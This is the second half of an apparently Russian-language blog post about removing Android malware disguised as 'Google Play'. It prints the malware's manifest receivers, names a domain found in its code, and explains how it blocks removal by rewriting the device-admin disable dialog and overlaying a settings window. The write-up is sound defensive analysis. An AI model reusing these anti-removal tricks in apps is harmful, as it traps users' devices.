<receiver android:name=".OutCallReceiver">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>
<receiver android:name=".NetworkReceiver">
<intent-filter>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
<action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
</intent-filter>
</receiver>
<receiver android:name=".AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
<intent-filter>
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
<receiver android:name=".ServiceController" />
<service android:name=".SystemService" android:enabled="true" />
<service android:name=".DelService" android:enabled="true" />
</application>
</manifest>
В диспетчере приложений наш «зловред» гордо именуется «Google Play».
4. Удаление?
Благополучно заразив устройство, перехожу к фазе лечения. Сначала пробую удалить приложение. Захожу в «Диспетчер приложений» и вижу, что все кнопки заблокированы.
Понятно, значит, у приложения имеются права администратора и так просто удалить его не получится. Не беда, сейчас я их уберу. Захожу в пункт меню «Безопасность»->«Администраторы устройства» и убираю галочку напротив приложения.
Но, нет, не тут то было. Устройство благополучно переходит в настройки управления WiFi и зависает. Пришлось «прибивать» окно настроек.
Дальше хотелось решить вопрос «на корню», так сказать, и воспользоваться общим сбросом системы. Ну да, легко мне выбирать такой вариант — мои личные данные в бэкапе хранятся.
А как же обычные пользователи? У которых «внезапно» любимый телефон заразился вирусом. Они ведь даже исходящего вызова знакомому «тыжпрограммисту» не сделают. В общем, читерство это, не буду так делать.
Итог: штатными средствами нейтрализовать угрозу не удалось. Подключаем «тяжелую артиллерию».
Примечание для компаний
В дальнейших разделах используется описание действий связанных с использованием бесплатных версий продуктов некоторых компаний. Целью повествования не являются жалобы на компании или предоставляемые ими услуги.
5. Dr Web против вируса
Памятуя про хорошую лечащую утилиту «Dr.Web CureIt!», решил бороться с зловредом с помощью аналога под Android. Захожу на официальный сайт и качаю бесплатную версию антивирусника «Dr.Web для Android Light 9».
Устанавливаю, по WiFi обновляю сигнатуры.
Запускаю быструю проверку ― ничего.
Запускаю полную проверку ― тоже ничего.
Я разочарован! Печально вздохнув, удаляю антивирусник.
UPD от 6.09.14. На данный момент антивирусник успешно опознает данный зловред под детектом Android.SmsBot.origin.165. Алгоритм удаления такой же, как и при использовании Avast (см. ниже).
5. Avast против вируса
Мнение автора
Никогда особо не любил антивирусник данной фирмы. Особенно после истории об удалении файла отвечающего за протокол tcp/ip в Windows XP. Но, чем «черт не шутит», установим.
Скачиваю и устанавливаю версию «Avast-Mobile-Security-v3-0-7700».
При старте запускается экспресс-сканирование, которое никаких вирусов в системе не находит.
Ну и ладно, мозг подсказал очередную идею: вот есть какой-то пункт меню «Управление приложениями», а что если…
Да, действительно загрузился список приложений в системе.
Пункта «Удалить» нет. Поэтому, пробую остановить приложение. Остановилось.
Жду 2-3 секунды, приложение снова в работе.
Ладно, попробую с другой стороны. Запускаю принудительную проверку системы. О_о, обнаружено вредоносное ПО. Нажимаю «Устранить все» [прим. как-то это звучит в духе Дарта Вейдера или Далеков]. Avast сообщает, что удалить приложение не может, а нужно сначала отобрать права администратора у приложения. Появляется системный диалог:
Удалить все данные с устройства и вернуть заводские настройки? Нажмите «Да» если согласны, или «Нет» для отмены
И сразу же, поверх этого диалогового окна открывается «злополучное» окно настроек wi-fi. Нажимаю «Возврат», снова открываются настройки. Хорошо, хоть окно настроек не зависает.
Опять на тропу читерства меня толкают. Будем искать другое решение…
6. Реверс-инжиниринг
Посмотрим в исходный код приложения, благо на Android это не такая большая проблема. Много всего интересного…
Например, в классе SystemService указан url сайта lamour.byethost5.com (дизайн-студия).
Но больше всего мне понравился класс AdminReceiver, который является наследником системного класса DeviceAdminReceiver.
В этом классе есть переопределенный метод onDisableRequested, который срабатывает при отключении админполномочий для данного приложения. Полностью заблокировать кнопки в системном диалоге нельзя, поэтому разработчик вируса пошел на хитрость, он изменил текст сообщения на «Удалить все данные с устройства и вернуть заводские настройки? Нажмите «Да» если согласны, или «Нет» для отмены» и обильно прикрыл сверху назойливым окном настроек.
Бинго. Значит теперь я смело смогу нажать в данном диалоговом окне «Удалить» и планшет будет «здоров».
Послесловие
Таким образом, выполнив повторно пункт 5 данной публикации (не останавливаясь на последнем шаге), вирус версии 4.0 (согласно манифест-файлу) был побежден.
Почему не удалось напрямую из настроек убрать галочку админправ для приложения, а только используя Avast? Скорее всего, стоит очередная ловушка с переопределенным методом.
Выводы
Разработчики вирусов находят все новые лазейки.
Но, так или иначе, браузер и операционная система стали лучше защищать пользователей.
Мне необходимо было нажать 2 подтверждения и поставить галочку в настройках «Неизвестные устройства».
Будьте здоровы, вы и ваши девайсы!